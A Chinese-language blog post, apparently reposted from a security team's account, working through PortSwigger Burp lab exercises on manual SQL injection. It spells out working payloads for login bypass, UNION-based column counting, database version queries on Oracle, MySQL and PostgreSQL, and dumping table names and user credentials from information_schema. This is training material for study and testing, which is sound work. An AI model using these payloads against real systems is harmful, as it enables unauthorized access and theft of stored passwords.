文章总结: 这篇文章详细介绍了Burp靶场中的SQL注入手注技术,包括WHERE子句注入、登录绕过、以及针对不同数据库(Oracle、MySQL、PostgreSQL)的注入方法。文章通过实际案例展示了如何识别注入点、确定列数、构造UNION查询、获取数据库版本信息、枚举表结构和提取敏感数据。文章提供了多种实用的注入payload,并解释了不同数据库系统的语法差异,是学习SQL注入攻击技术的实用教程。 综合评分: 88 文章分类: 渗透测试,漏洞分析,WEB安全,漏洞POC,实战经验
Burp靶场 sql注入手注
原创
数字幽灵安全团队
数字幽灵安全团队
2025年12月14日 22:33 吉林
免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!
Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
注入点在search功能
单引号响应500
两个单引号显示正常,大概率是sql注入
一个单引号 ' 会破坏 SQL 字符串,导致语法错误(500)
两个单引号 '' 在 SQL 中表示字符串里的一个单引号字符(不会破坏语句)
确认是否为sql注入
使用 order by 确认
说明表列数为8列
想验证 UNION 注入,可继续试
先判断 UNION 能否使用:
' UNION SELECT 1--
再逐步测试 8 列:
' UNION SELECT 1,2,3,4,5,6,7,8--
目标需要显示所有商品,即可让为真 category=Gifts%27+OR+1=1–
https://0a7000ba03e98026de86cbb000cd00de.web-security-academy.net/filter?category=Gifts%27+OR+1=1--
Lab: SQL injection vulnerability allowing login bypass
绕过登录,用户名密码
admin'or'1'='1
SQL injection attack, querying the database type and version on Oracle
也是单引号看报错,两个单引号闭合,使用order by 看几列
查看为两列
由于是Oracle数据库想验证 UNION 注入,语法为
Oracle SELECT 1,2 必须有 FROM 子句
Oracle 不允许裸 SELECT:
数据类型必须兼容(Oracle 比其他 SQL 更严格)
UNION SELECT '1','2' FROM dual
https://0ac1008503a46fc78023089500850024.web-security-academy.net/filter?category=Tech+gifts'union+select+'1','2'+FROM+dual--
构造读取版本信息
SELECT banner FROM v$version
https://0a3000cf04e426b380ad08f7002500c3.web-security-academy.net/filter?category=Tech+gifts%27union+select+banner,%272%27+FROM+v$version--
成功读取
SQL injection attack, querying the database type and version on MySQL and Microsoft
3报错500 ,故有两列
'order+by+2--+
union 注入
'union+select+1,2--+
查版本
'union+select+@@version,2--+
https://0aaf001b033bc571805a26ba006b00f1.web-security-academy.net/filter?category=Gifts%27union+select+@@version,%0C2--+
SQL injection attack, listing the database contents on non-Oracle databases
按照上述 先order by 测试列 2列
Gifts'order+by+2--+
mysql数据类型不严格,其他数据库ORacle,PostgreSQL类型限制较严格,数字型字符型严格控制
尝试是什么数据库
Oracle SELECT banner FROM v$version
SELECT version FROM v$instance
Microsoft SELECT @@version
PostgreSQL SELECT version()
MySQL SELECT @@version
测试payload发现是PostgreSQL
显示所有数据库名
SELECT datname FROM pg_database;
查看当前连接的数据库
SELECT current_database();
查看所有表
SELECT table_name FROM information_schema.tables;
查看表中列
'+union+select+'1',column_name+from+information_schema.columns+where+table_name='users_zuusfh'--+
查看数据
+union+select+username_dumpfg,password_dzlsln+from+users_zuusfh
使用administrator登陆即可
查看原文:《Burp靶场 sql注入手注》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论